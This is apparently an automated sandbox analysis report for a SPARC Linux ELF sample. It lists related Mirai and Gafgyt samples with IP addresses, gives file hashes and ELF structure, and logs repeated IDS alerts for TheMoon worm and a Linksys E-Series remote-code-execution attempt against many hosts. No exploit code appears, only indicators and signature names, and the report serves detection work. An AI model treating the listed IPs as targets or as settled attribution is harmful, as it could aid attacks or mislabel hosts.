	nig.x86_64.elf	Get hash	malicious	Mirai	Browse	153.160.1.209
	nig.arm5.elf	Get hash	malicious	Mirai	Browse	223.218.192.93
	nig.arm7.elf	Get hash	malicious	Mirai	Browse	61.118.46.76
	arm5-20231216-1307.elf	Get hash	malicious	Mirai	Browse	157.64.34.218
	x86-20231216-1307.elf	Get hash	malicious	Mirai	Browse	157.66.37.228
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	157.66.192.207
	mpsl-20231216-1226.elf	Get hash	malicious	Mirai	Browse	157.104.12.140
	x86_64-20231216-1226.elf	Get hash	malicious	Mirai	Browse	157.106.185.138
	mips-20231216-1225.elf	Get hash	malicious	Mirai	Browse	157.69.21.75
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	157.70.65.172
	arm7-20231216-1225.elf	Get hash	malicious	Mirai	Browse	157.106.185.140
	arm4-20231215-1038.elf	Get hash	malicious	Mirai	Browse	157.7.30.44
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	157.69.33.16
FASTWEBIT	8GMQc4GV2x.elf	Get hash	malicious	Mirai	Browse	2.238.153.129
	86O41HaCl5.elf	Get hash	malicious	Mirai	Browse	93.54.44.180
	CuruFoiJiK.elf	Get hash	malicious	Mirai	Browse	37.186.202.200
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	2.233.91.176
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	2.233.91.176
	arm7-20231212-1319.elf	Get hash	malicious	Mirai	Browse	93.63.246.79
	Vzqkkay7zK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	2.237.163.214
	UZVW668P4W.elf	Get hash	malicious	Mirai	Browse	93.63.147.237
	mipsel.elf	Get hash	malicious	Mirai	Browse	2.230.214.38
	5W0nv823TE.elf	Get hash	malicious	Mirai	Browse	81.208.26.115
	UcNeLW5yCY.elf	Get hash	malicious	Mirai	Browse	85.18.200.215
	PB22wV849G.elf	Get hash	malicious	Gafgyt, Mirai	Browse	89.96.242.193
	TGmAf3feA5.elf	Get hash	malicious	Mirai	Browse	37.186.250.158
	BRvptajioG.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	93.55.235.232
	JlsamXyn4T.elf	Get hash	malicious	Mirai	Browse	2.224.96.152
	gJxUBR0ghC.elf	Get hash	malicious	Mirai	Browse	2.231.108.50
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	93.52.64.251
	factura.doc	Get hash	malicious	Unknown	Browse	185.36.74.48
	zf0ecmAOZo.elf	Get hash	malicious	Mirai	Browse	2.239.177.97
	m4Fl3nW1Yl.elf	Get hash	malicious	Mirai	Browse	93.63.222.97
WINDSTREAMUS	F9xLv7ea2d.elf	Get hash	malicious	Mirai	Browse	66.245.26.158
	lo8cGX1gZM.elf	Get hash	malicious	Mirai	Browse	207.220.243.214
	8GMQc4GV2x.elf	Get hash	malicious	Mirai	Browse	216.83.254.46
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	169.130.210.183
	arm7-20231212-1319.elf	Get hash	malicious	Mirai	Browse	40.141.67.143
	mpsl-20231212-1319.elf	Get hash	malicious	Mirai	Browse	63.253.56.238
	x86_64-20231212-1319.elf	Get hash	malicious	Mirai	Browse	40.132.56.253
	LLTQiv9AVv.elf	Get hash	malicious	Mirai	Browse	71.30.123.186
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	63.254.111.165
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	207.10.72.89
	UZVW668P4W.elf	Get hash	malicious	Mirai	Browse	70.46.175.82
	x86.elf	Get hash	malicious	Unknown	Browse	64.196.70.43
	i686.elf	Get hash	malicious	Mirai	Browse	64.90.13.45
	Ry3wzzBEE0.elf	Get hash	malicious	Mirai	Browse	66.217.172.23
	28VknHmVIO.elf	Get hash	malicious	Mirai	Browse	209.228.35.84
	oKLlwVyUDR.elf	Get hash	malicious	Mirai	Browse	64.236.200.77
	ebQv2WFr7U.elf	Get hash	malicious	Mirai	Browse	67.62.255.169
	il64HPM7Rx.elf	Get hash	malicious	Mirai	Browse	66.217.123.49
	A5LzNXnnXa.elf	Get hash	malicious	Mirai	Browse	75.90.52.171
	fQOo84bbD6.elf	Get hash	malicious	Unknown	Browse	64.115.77.17

Process:	/tmp/ZhhHfkNewm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	310
Entropy (8bit):	3.481808053534668
Encrypted:	false
SSDEEP:	6:MoYgDFmQUuKyj/VcDFmQU1IBgY/VMPj/VfKoO/VNfiY/VH:M06uKr61I0Kl
MD5:	7E3FB24203821CB99F4EF2D93BC26FE6
SHA1:	6CA95D9BF75B18E9199BF60D44011124911CA2A7
SHA-256:	B6EBE00CEB7ABDC1442DB1749D7584254C06C618402CAD6756921CF2218D976A
SHA-512:	5586BA615ACC819FCFDC9BD6832DCC7227E957D2785E8763A16BCB93A618160B738F44CB1E2BEF058A6E3ED6E2F68AF2A16D21317B3EE61F2096BF9B1481A34C
Malicious:	false
Reputation:	low
Preview:	10000-1e000 r-xp 00000000 fd:00 531606 /tmp/ZhhHfkNewm.elf.2d000-2e000 rw-p 0000d000 fd:00 531606 /tmp/ZhhHfkNewm.elf.2e000-2f000 rw-p 00000000 00:00 0 .2f000-31000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.125410439653704
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ZhhHfkNewm.elf
File size:	55'188 bytes
MD5:	b757694e98b44b2a21e5654c92c98826
SHA1:	9cb9a03cc21badd27f13ad7a09d44bb1bfb380a6
SHA256:	ce192327b8b13edbe3fd6b37c42b16bb0dc59951379fc25b8f6d92ed64e8cc84
SHA512:	ac999c0395e656b2bd50f3f355b9e8d7c2bd5005506a7f9f1a0bc46cd2a3d8181ac29a78b942ea8b8b08d55f9b7b8ebbc1fec049f395e8ca661ad224e322088d
SSDEEP:	768:Q375eDpM0jowQa5LuYRqXPFbFP+sv23O+Nv/aNSGv:acDpM0jDQa5LuYoXPMr03
TLSH:	84435931E9790E17C0D4B57B52F78629B2F5174E25A88B1E7C220F8EFF159C0216B2B5
File Content Preview:	.ELF...........................4.........4. ...(.......................8...8...............<...<...<...\...,........dt.Q................................@..(....@.0.................#.....a...`.....!.....#T..@.....".........`......$#T..#T..@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54748
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xc3ac	0x0	0x6	AX	4
.fini	PROGBITS	0x1c45c	0xc45c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1c470	0xc470	0xec8	0x0	0x2	A	8
.ctors	PROGBITS	0x2d33c	0xd33c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2d344	0xd344	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2d34c	0xd34c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2d350	0xd350	0x248	0x0	0x3	WA	8
.bss	NOBITS	0x2d598	0xd598	0x3d0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xd598	0x43	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xd338	0xd338	6.1569	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd33c	0x2d33c	0x2d33c	0x25c	0x62c	2.9578	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

System Behavior

Analysis Process: ZhhHfkNewm.elf PID: 6206, Parent PID: 6124

General

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	/tmp/ZhhHfkNewm.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: ZhhHfkNewm.elf PID: 6214, Parent PID: 6208

General

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: ZhhHfkNewm.elf PID: 6217, Parent PID: 6208

General

Start time (UTC):	17:40:44
Start date (UTC):	21/12/2023
Path:	/tmp/ZhhHfkNewm.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:44956 -> 198.41.207.56:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:44956 -> 198.41.207.56:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:44956 -> 198.41.207.56:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35910 -> 82.47.115.8:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:35910 -> 82.47.115.8:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:35910 -> 82.47.115.8:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48338 -> 146.70.52.237:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:48338 -> 146.70.52.237:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:48338 -> 146.70.52.237:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56684 -> 45.55.196.121:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:56684 -> 45.55.196.121:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:56684 -> 45.55.196.121:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:46498 -> 211.250.133.42:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:46498 -> 211.250.133.42:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:46498 -> 211.250.133.42:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52896 -> 195.114.111.83:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:52896 -> 195.114.111.83:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:52896 -> 195.114.111.83:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55028 -> 203.234.50.155:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55028 -> 203.234.50.155:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55028 -> 203.234.50.155:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60308 -> 118.82.125.228:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:60308 -> 118.82.125.228:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:60308 -> 118.82.125.228:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55062 -> 115.74.135.254:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55062 -> 115.74.135.254:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55062 -> 115.74.135.254:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:59896 -> 212.21.157.90:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:59896 -> 212.21.157.90:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:59896 -> 212.21.157.90:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48650 -> 182.172.28.37:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:48650 -> 182.172.28.37:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:48650 -> 182.172.28.37:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49600 -> 104.206.34.237:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:49600 -> 104.206.34.237:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:49600 -> 104.206.34.237:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35060 -> 69.87.220.246:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:35060 -> 69.87.220.246:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:35060 -> 69.87.220.246:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42862 -> 118.58.31.78:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:42862 -> 118.58.31.78:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:42862 -> 118.58.31.78:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35020 -> 180.81.166.121:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:35020 -> 180.81.166.121:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:35020 -> 180.81.166.121:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49912 -> 96.238.85.27:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:49912 -> 96.238.85.27:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:49912 -> 96.238.85.27:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51364 -> 104.24.24.135:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:51364 -> 104.24.24.135:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:51364 -> 104.24.24.135:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42974 -> 78.108.218.75:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:42974 -> 78.108.218.75:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:42974 -> 78.108.218.75:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36836 -> 118.36.207.147:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:36836 -> 118.36.207.147:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:36836 -> 118.36.207.147:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55344 -> 146.148.249.114:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55344 -> 146.148.249.114:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55344 -> 146.148.249.114:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36670 -> 162.186.4.131:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:36670 -> 162.186.4.131:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:36670 -> 162.186.4.131:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39322 -> 185.172.33.194:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:39322 -> 185.172.33.194:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:39322 -> 185.172.33.194:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39232 -> 87.237.122.61:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:39232 -> 87.237.122.61:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:39232 -> 87.237.122.61:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55420 -> 118.62.235.14:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55420 -> 118.62.235.14:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55420 -> 118.62.235.14:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43294 -> 109.247.109.52:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:43294 -> 109.247.109.52:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:43294 -> 109.247.109.52:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42060 -> 84.231.177.107:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:42060 -> 84.231.177.107:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:42060 -> 84.231.177.107:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55956 -> 80.152.249.78:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55956 -> 80.152.249.78:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55956 -> 80.152.249.78:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37884 -> 73.171.251.123:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:37884 -> 73.171.251.123:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:37884 -> 73.171.251.123:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33630 -> 156.96.234.189:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:33630 -> 156.96.234.189:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:33630 -> 156.96.234.189:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51032 -> 177.191.56.11:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:51032 -> 177.191.56.11:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:51032 -> 177.191.56.11:8080
Source: Traffic	Snort IDS: 2842117 ETPRO WORM ELF/TheMoon.Linksys Worm Activity (Outbound) 192.168.2.23:36542 -> 104.24.78.255:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36542 -> 104.24.78.255:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:36542 -> 104.24.78.255:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:36542 -> 104.24.78.255:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34696 -> 20.157.191.178:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:34696 -> 20.157.191.178:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:34696 -> 20.157.191.178:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:47570 -> 34.149.195.93:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:47570 -> 34.149.195.93:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:47570 -> 34.149.195.93:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54116 -> 172.65.82.250:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:54116 -> 172.65.82.250:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:54116 -> 172.65.82.250:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38752 -> 14.74.41.139:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:38752 -> 14.74.41.139:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:38752 -> 14.74.41.139:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53646 -> 96.228.36.80:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:53646 -> 96.228.36.80:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:53646 -> 96.228.36.80:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35400 -> 96.3.116.23:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:35400 -> 96.3.116.23:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:35400 -> 96.3.116.23:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43740 -> 194.62.214.204:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:43740 -> 194.62.214.204:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:43740 -> 194.62.214.204:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55396 -> 166.253.31.110:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:55396 -> 166.253.31.110:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:55396 -> 166.253.31.110:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53838 -> 104.16.197.26:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:53838 -> 104.16.197.26:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:53838 -> 104.16.197.26:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57676 -> 185.36.54.3:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:57676 -> 185.36.54.3:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:57676 -> 185.36.54.3:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49678 -> 154.9.60.52:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:49678 -> 154.9.60.52:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:49678 -> 154.9.60.52:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58046 -> 91.228.46.89:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:58046 -> 91.228.46.89:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:58046 -> 91.228.46.89:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40944 -> 13.229.49.197:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:40944 -> 13.229.49.197:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:40944 -> 13.229.49.197:8080

Source: unknown	TCP traffic detected without corresponding DNS query: 194.144.128.70
Source: unknown	TCP traffic detected without corresponding DNS query: 189.249.180.181
Source: unknown	TCP traffic detected without corresponding DNS query: 223.208.6.70
Source: unknown	TCP traffic detected without corresponding DNS query: 218.136.192.70
Source: unknown	TCP traffic detected without corresponding DNS query: 143.127.39.32
Source: unknown	TCP traffic detected without corresponding DNS query: 70.31.66.242
Source: unknown	TCP traffic detected without corresponding DNS query: 86.112.197.248
Source: unknown	TCP traffic detected without corresponding DNS query: 165.98.148.254
Source: unknown	TCP traffic detected without corresponding DNS query: 45.170.112.249
Source: unknown	TCP traffic detected without corresponding DNS query: 204.53.175.109
Source: unknown	TCP traffic detected without corresponding DNS query: 159.158.6.156
Source: unknown	TCP traffic detected without corresponding DNS query: 86.135.57.150
Source: unknown	TCP traffic detected without corresponding DNS query: 161.90.103.6
Source: unknown	TCP traffic detected without corresponding DNS query: 5.62.71.144
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.170.149
Source: unknown	TCP traffic detected without corresponding DNS query: 212.238.166.171
